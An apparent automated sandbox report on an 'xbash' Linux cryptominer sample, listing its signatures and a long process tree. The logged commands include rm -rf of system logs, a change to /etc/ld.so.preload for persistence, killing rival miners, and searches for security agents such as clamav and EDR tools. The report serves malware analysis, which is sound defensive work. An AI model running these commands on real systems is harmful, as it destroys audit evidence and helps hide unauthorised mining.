Overview

overview

10

Static

static

1

xbash

ubuntu-18.04-amd64

9

xbash

debian-9-armhf

10

xbash

debian-9-mips

10

xbash

debian-9-mipsel

10

Analysis

  • max time kernel
    32s
  • max time network
    152s
  • platform
    linux_mipsel
  • resource
    debian9-mipsel-en-20211208
  • resource tags

    arch:mipselimage:debian9-mipsel-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    26/04/2023, 01:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    xbash
  • Size 51KB
  • Sample230426-b5ec6agc2x
  • SHA256 ece03e94521d55f8903f9aca43d4e8926499559267eb1b5730acd62d69eb451e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xmrig_linuxminerpersistence

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Deletes system logs 1 TTPs 25 IoCs
  • Modifies the dynamic linker configuration file 1 TTPs 1 IoCs

    Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

    persistence
  • Executes dropped EXE 1 IoCs
  • Reads CPU attributes 1 TTPs 44 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/xbash
    /tmp/xbash
    1⤵
      PID:327
      • dirname
        dirname /tmp/xbash
        2⤵
          PID:329
        • id
          id -u
          2⤵
            PID:330
          • mkdir
            mkdir /tmp/selfgz327
            2⤵
              PID:332
            • expr
              expr 53053 - 18556
              2⤵
                PID:349
              • basename
                basename /usr/bin/shasum
                2⤵
                  PID:353
                • basename
                  basename /usr/bin/md5sum
                  2⤵
                    PID:357
                  • expr
                    expr 1 + 1
                    2⤵
                      PID:384
                    • expr
                      expr 18556 + 34497
                      2⤵
                        PID:385
                      • expr
                        expr 18556 + 34497
                        2⤵
                          PID:418
                        • ./cronman
                          ./cronman
                          2⤵
                            PID:419
                            • basename
                              basename ./cronman
                              3⤵
                                PID:423
                              • grep
                                grep -a xfit /root/.bashrc
                                3⤵
                                  PID:428
                                • rm
                                  rm -rf "/home/*/.local/share/Trash/*/**"
                                  3⤵
                                    PID:429
                                  • rm
                                    rm -rf "/root/.local/share/Trash/*/**"
                                    3⤵
                                      PID:430
                                    • rm
                                      rm -rf /usr/share/man/cs /usr/share/man/da /usr/share/man/de /usr/share/man/es /usr/share/man/fi /usr/share/man/fr /usr/share/man/hu /usr/share/man/id /usr/share/man/it /usr/share/man/ja /usr/share/man/ko /usr/share/man/nl /usr/share/man/pl /usr/share/man/pt /usr/share/man/ru /usr/share/man/sl /usr/share/man/sv /usr/share/man/tr
                                      3⤵
                                        PID:431
                                      • rm
                                        rm -rf /usr/share/man/pt_BR /usr/share/man/zh_CN /usr/share/man/zh_TW
                                        3⤵
                                          PID:432
                                        • rm
                                          rm -rf /var/log/alternatives.log /var/log/apt /var/log/auth.log /var/log/btmp /var/log/daemon.log /var/log/debug /var/log/dpkg.log /var/log/faillog /var/log/installer /var/log/kern.log /var/log/lastlog /var/log/messages /var/log/syslog /var/log/wtmp /var/log/. /var/log/..
                                          3⤵
                                          • Deletes system logs
                                          PID:433
                                        • rm
                                          rm -rf "/core.*"
                                          3⤵
                                            PID:434
                                          • mkdir
                                            mkdir /tmp
                                            3⤵
                                              PID:435
                                            • basename
                                              basename ./cronman
                                              3⤵
                                                PID:439
                                              • mkdir
                                                mkdir /etc/xbash
                                                3⤵
                                                  PID:440
                                              • /tmp/selfgz327/.cronman
                                                /tmp/selfgz327/.cronman
                                                2⤵
                                                  PID:419
                                                  • sysctl
                                                    sysctl "kernel.pid_max=4194304"
                                                    3⤵
                                                    • Reads CPU attributes
                                                    PID:474
                                                  • basename
                                                    basename /tmp/selfgz327/.cronman
                                                    3⤵
                                                      PID:478
                                                    • grep
                                                      grep -a xfit /root/.bashrc
                                                      3⤵
                                                        PID:486
                                                      • mkdir
                                                        mkdir /tmp
                                                        3⤵
                                                          PID:487
                                                        • chmod
                                                          chmod 755 /etc/ld.so.preload
                                                          3⤵
                                                            PID:488
                                                          • ps
                                                            ps -eaf
                                                            3⤵
                                                            • Reads CPU attributes
                                                            PID:489
                                                          • grep
                                                            grep spend-secret-key
                                                            3⤵
                                                              PID:490
                                                            • grep
                                                              grep -v grep
                                                              3⤵
                                                                PID:491
                                                              • grep
                                                                grep -v "[d]efunct"
                                                                3⤵
                                                                  PID:492
                                                                • awk
                                                                  awk "{ print \$2 }"
                                                                  3⤵
                                                                    PID:493
                                                                  • xargs
                                                                    xargs kill -9
                                                                    3⤵
                                                                      PID:494
                                                                      • kill
                                                                        kill -9
                                                                        4⤵
                                                                          PID:495
                                                                        • kill
                                                                          kill -9
                                                                          4⤵
                                                                            PID:495
                                                                          • kill
                                                                            kill -9
                                                                            4⤵
                                                                              PID:495
                                                                            • kill
                                                                              kill -9
                                                                              4⤵
                                                                                PID:495
                                                                              • kill
                                                                                kill -9
                                                                                4⤵
                                                                                  PID:495
                                                                                • kill
                                                                                  kill -9
                                                                                  4⤵
                                                                                  • Reads CPU attributes
                                                                                  PID:495
                                                                              • ps
                                                                                ps -eaf
                                                                                3⤵
                                                                                • Reads CPU attributes
                                                                                • Reads runtime system information
                                                                                PID:496
                                                                              • grep
                                                                                grep -- "\\-\\-algo"
                                                                                3⤵
                                                                                  PID:497
                                                                                • grep
                                                                                  grep -v grep
                                                                                  3⤵
                                                                                    PID:498
                                                                                  • grep
                                                                                    grep -v "[d]efunct"
                                                                                    3⤵
                                                                                      PID:499
                                                                                    • awk
                                                                                      awk "{ print \$2 }"
                                                                                      3⤵
                                                                                        PID:500
                                                                                      • xargs
                                                                                        xargs kill -9
                                                                                        3⤵
                                                                                          PID:501
                                                                                          • kill
                                                                                            kill -9
                                                                                            4⤵
                                                                                              PID:502
                                                                                            • kill
                                                                                              kill -9
                                                                                              4⤵
                                                                                                PID:502
                                                                                              • kill
                                                                                                kill -9
                                                                                                4⤵
                                                                                                  PID:502
                                                                                                • kill
                                                                                                  kill -9
                                                                                                  4⤵
                                                                                                    PID:502
                                                                                                  • kill
                                                                                                    kill -9
                                                                                                    4⤵
                                                                                                      PID:502
                                                                                                    • kill
                                                                                                      kill -9
                                                                                                      4⤵
                                                                                                      • Reads CPU attributes
                                                                                                      PID:502
                                                                                                  • ps
                                                                                                    ps -eaf
                                                                                                    3⤵
                                                                                                    • Reads CPU attributes
                                                                                                    • Reads runtime system information
                                                                                                    PID:503
                                                                                                  • grep
                                                                                                    grep -- "\\-\\-url"
                                                                                                    3⤵
                                                                                                      PID:504
                                                                                                    • grep
                                                                                                      grep -v grep
                                                                                                      3⤵
                                                                                                        PID:505
                                                                                                      • grep
                                                                                                        grep -v "[d]efunct"
                                                                                                        3⤵
                                                                                                          PID:506
                                                                                                        • awk
                                                                                                          awk "{ print \$2 }"
                                                                                                          3⤵
                                                                                                            PID:507
                                                                                                          • xargs
                                                                                                            xargs kill -9
                                                                                                            3⤵
                                                                                                              PID:508
                                                                                                              • kill
                                                                                                                kill -9
                                                                                                                4⤵
                                                                                                                  PID:509
                                                                                                                • kill
                                                                                                                  kill -9
                                                                                                                  4⤵
                                                                                                                    PID:509
                                                                                                                  • kill
                                                                                                                    kill -9
                                                                                                                    4⤵
                                                                                                                      PID:509
                                                                                                                    • kill
                                                                                                                      kill -9
                                                                                                                      4⤵
                                                                                                                        PID:509
                                                                                                                      • kill
                                                                                                                        kill -9
                                                                                                                        4⤵
                                                                                                                          PID:509
                                                                                                                        • kill
                                                                                                                          kill -9
                                                                                                                          4⤵
                                                                                                                          • Reads CPU attributes
                                                                                                                          PID:509
                                                                                                                      • ps
                                                                                                                        ps -eaf
                                                                                                                        3⤵
                                                                                                                        • Reads CPU attributes
                                                                                                                        • Reads runtime system information
                                                                                                                        PID:510
                                                                                                                      • grep
                                                                                                                        grep -- "\\-\\-donate-level"
                                                                                                                        3⤵
                                                                                                                          PID:511
                                                                                                                        • grep
                                                                                                                          grep -v grep
                                                                                                                          3⤵
                                                                                                                            PID:512
                                                                                                                          • grep
                                                                                                                            grep -v "[d]efunct"
                                                                                                                            3⤵
                                                                                                                              PID:513
                                                                                                                            • awk
                                                                                                                              awk "{ print \$2 }"
                                                                                                                              3⤵
                                                                                                                                PID:514
                                                                                                                              • xargs
                                                                                                                                xargs kill -9
                                                                                                                                3⤵
                                                                                                                                  PID:515
                                                                                                                                  • kill
                                                                                                                                    kill -9
                                                                                                                                    4⤵
                                                                                                                                      PID:516
                                                                                                                                    • kill
                                                                                                                                      kill -9
                                                                                                                                      4⤵
                                                                                                                                        PID:516
                                                                                                                                      • kill
                                                                                                                                        kill -9
                                                                                                                                        4⤵
                                                                                                                                          PID:516
                                                                                                                                        • kill
                                                                                                                                          kill -9
                                                                                                                                          4⤵
                                                                                                                                            PID:516
                                                                                                                                          • kill
                                                                                                                                            kill -9
                                                                                                                                            4⤵
                                                                                                                                              PID:516
                                                                                                                                            • kill
                                                                                                                                              kill -9
                                                                                                                                              4⤵
                                                                                                                                              • Reads CPU attributes
                                                                                                                                              PID:516
                                                                                                                                          • ps
                                                                                                                                            ps -eaf
                                                                                                                                            3⤵
                                                                                                                                            • Reads CPU attributes
                                                                                                                                            • Reads runtime system information
                                                                                                                                            PID:517
                                                                                                                                          • grep
                                                                                                                                            grep minerd
                                                                                                                                            3⤵
                                                                                                                                              PID:518
                                                                                                                                            • grep
                                                                                                                                              grep -v grep
                                                                                                                                              3⤵
                                                                                                                                                PID:519
                                                                                                                                              • grep
                                                                                                                                                grep -v "[d]efunct"
                                                                                                                                                3⤵
                                                                                                                                                  PID:520
                                                                                                                                                • awk
                                                                                                                                                  awk "{ print \$2 }"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:521
                                                                                                                                                  • xargs
                                                                                                                                                    xargs kill -9
                                                                                                                                                    3⤵
                                                                                                                                                      PID:522
                                                                                                                                                      • kill
                                                                                                                                                        kill -9
                                                                                                                                                        4⤵
                                                                                                                                                          PID:523
                                                                                                                                                        • kill
                                                                                                                                                          kill -9
                                                                                                                                                          4⤵
                                                                                                                                                            PID:523
                                                                                                                                                          • kill
                                                                                                                                                            kill -9
                                                                                                                                                            4⤵
                                                                                                                                                              PID:523
                                                                                                                                                            • kill
                                                                                                                                                              kill -9
                                                                                                                                                              4⤵
                                                                                                                                                                PID:523
                                                                                                                                                              • kill
                                                                                                                                                                kill -9
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:523
                                                                                                                                                                • kill
                                                                                                                                                                  kill -9
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Reads CPU attributes
                                                                                                                                                                  PID:523
                                                                                                                                                              • ps
                                                                                                                                                                ps -eaf
                                                                                                                                                                3⤵
                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                PID:524
                                                                                                                                                              • grep
                                                                                                                                                                grep xmr
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:525
                                                                                                                                                                • grep
                                                                                                                                                                  grep -v grep
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:526
                                                                                                                                                                  • grep
                                                                                                                                                                    grep -v "[d]efunct"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:527
                                                                                                                                                                    • awk
                                                                                                                                                                      awk "{ print \$2 }"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:528
                                                                                                                                                                      • xargs
                                                                                                                                                                        xargs kill -9
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:529
                                                                                                                                                                          • kill
                                                                                                                                                                            kill -9
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:530
                                                                                                                                                                            • kill
                                                                                                                                                                              kill -9
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:530
                                                                                                                                                                              • kill
                                                                                                                                                                                kill -9
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:530
                                                                                                                                                                                • kill
                                                                                                                                                                                  kill -9
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:530
                                                                                                                                                                                  • kill
                                                                                                                                                                                    kill -9
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:530
                                                                                                                                                                                    • kill
                                                                                                                                                                                      kill -9
                                                                                                                                                                                      4⤵
                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                      PID:530
                                                                                                                                                                                  • ps
                                                                                                                                                                                    ps -eaf
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                    PID:531
                                                                                                                                                                                  • grep
                                                                                                                                                                                    grep cryptonight
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:532
                                                                                                                                                                                    • grep
                                                                                                                                                                                      grep -v grep
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:533
                                                                                                                                                                                      • grep
                                                                                                                                                                                        grep -v "[d]efunct"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:534
                                                                                                                                                                                        • awk
                                                                                                                                                                                          awk "{ print \$2 }"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:535
                                                                                                                                                                                          • xargs
                                                                                                                                                                                            xargs kill -9
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:536
                                                                                                                                                                                              • kill
                                                                                                                                                                                                kill -9
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:537
                                                                                                                                                                                                • kill
                                                                                                                                                                                                  kill -9
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:537
                                                                                                                                                                                                  • kill
                                                                                                                                                                                                    kill -9
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:537
                                                                                                                                                                                                    • kill
                                                                                                                                                                                                      kill -9
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:537
                                                                                                                                                                                                      • kill
                                                                                                                                                                                                        kill -9
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:537
                                                                                                                                                                                                        • kill
                                                                                                                                                                                                          kill -9
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                          PID:537
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 xmrig
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:538
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f xmrig
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        PID:539
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f Loopback
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:540
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f apaceha
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:541
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f cryptonight
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:542
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f stratum
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:543
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f minerd
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:544
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 log-rotate
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:545
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 warmun
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:546
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 kinettd
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:547
                                                                                                                                                                                                      • ps
                                                                                                                                                                                                        ps cax
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:548
                                                                                                                                                                                                      • grep
                                                                                                                                                                                                        grep -v grep
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:549
                                                                                                                                                                                                        • grep
                                                                                                                                                                                                          grep -v "[d]efunct"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:550
                                                                                                                                                                                                          • grep
                                                                                                                                                                                                            grep top.sh
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:551
                                                                                                                                                                                                            • ps
                                                                                                                                                                                                              ps cax
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                              PID:552
                                                                                                                                                                                                            • grep
                                                                                                                                                                                                              grep -v grep
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:553
                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                grep ds_agent
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:555
                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                  grep -v "[d]efunct"
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:554
                                                                                                                                                                                                                  • ps
                                                                                                                                                                                                                    ps cax
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                    PID:556
                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                    grep -v grep
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:557
                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                      grep -v "[d]efunct"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:558
                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                        grep vm-agent
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:559
                                                                                                                                                                                                                        • ps
                                                                                                                                                                                                                          ps cax
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                          PID:560
                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                          grep -v grep
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:561
                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                            grep -v "[d]efunct"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:562
                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                              grep mysqll
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:563
                                                                                                                                                                                                                              • ps
                                                                                                                                                                                                                                ps cax
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                PID:564
                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                grep -v grep
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:565
                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                  grep linux_client
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:567
                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                    grep -v "[d]efunct"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:566
                                                                                                                                                                                                                                    • ps
                                                                                                                                                                                                                                      ps -eaf
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                      PID:568
                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                      grep linux_client
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:569
                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                        grep -v grep
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:570
                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                          grep -v "[d]efunct"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:571
                                                                                                                                                                                                                                          • awk
                                                                                                                                                                                                                                            awk "{ print \$2 }"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:572
                                                                                                                                                                                                                                            • xargs
                                                                                                                                                                                                                                              xargs kill -9
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:573
                                                                                                                                                                                                                                                • kill
                                                                                                                                                                                                                                                  kill -9
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:574
                                                                                                                                                                                                                                                  • kill
                                                                                                                                                                                                                                                    kill -9
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:574
                                                                                                                                                                                                                                                    • kill
                                                                                                                                                                                                                                                      kill -9
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:574
                                                                                                                                                                                                                                                      • kill
                                                                                                                                                                                                                                                        kill -9
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:574
                                                                                                                                                                                                                                                        • kill
                                                                                                                                                                                                                                                          kill -9
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:574
                                                                                                                                                                                                                                                          • kill
                                                                                                                                                                                                                                                            kill -9
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                            PID:574
                                                                                                                                                                                                                                                        • ps
                                                                                                                                                                                                                                                          ps cax
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:575
                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                          grep -v grep
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:576
                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                            grep -v "[d]efunct"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:577
                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                              grep edr_agent
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:578
                                                                                                                                                                                                                                                              • ps
                                                                                                                                                                                                                                                                ps -eo cmd
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                PID:579
                                                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                                                grep -v grep
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:580
                                                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                                                  grep -v "[d]efunct"
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:581
                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                    grep edr_agent
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:582
                                                                                                                                                                                                                                                                    • ps
                                                                                                                                                                                                                                                                      ps -eo cmd
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                      PID:583
                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                      grep -v grep
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:584
                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                        grep cwpp_agent
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:585
                                                                                                                                                                                                                                                                        • ps
                                                                                                                                                                                                                                                                          ps -eo cmd
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                                          PID:586
                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                          grep -v grep
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:587
                                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                                            grep -v "[d]efunct"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:588
                                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                                              grep ds_agent
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:589
                                                                                                                                                                                                                                                                              • ps
                                                                                                                                                                                                                                                                                ps cax
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                PID:590
                                                                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                                                                grep -v grep
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:591
                                                                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                                                                  grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:592
                                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                                    grep guard_client
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:593
                                                                                                                                                                                                                                                                                    • ps
                                                                                                                                                                                                                                                                                      ps -eo cmd
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                                      PID:594
                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                      grep -v grep
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:595
                                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                                        grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:596
                                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                                          grep qaxsafe
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:597
                                                                                                                                                                                                                                                                                          • ps
                                                                                                                                                                                                                                                                                            ps -eo cmd
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                                                            PID:598
                                                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                                                            grep -v grep
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:599
                                                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                                                              grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:600
                                                                                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                                                                                grep clamav
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:601
                                                                                                                                                                                                                                                                                                • ps
                                                                                                                                                                                                                                                                                                  ps -eo cmd
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Reads CPU attributes
                                                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                                                  PID:602
                                                                                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                                                                                  grep -v grep
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:603
                                                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                                                    grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:604
                                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                                      grep 360safed
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:605
                                                                                                                                                                                                                                                                                                      • ps
                                                                                                                                                                                                                                                                                                        ps -eo cmd
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                                                                        PID:606
                                                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                                                        grep -v grep
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:607
                                                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                                                          grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:608
                                                                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                                                                            grep eppagent
                                                                                                                                                                                                                                                                                                            3⤵
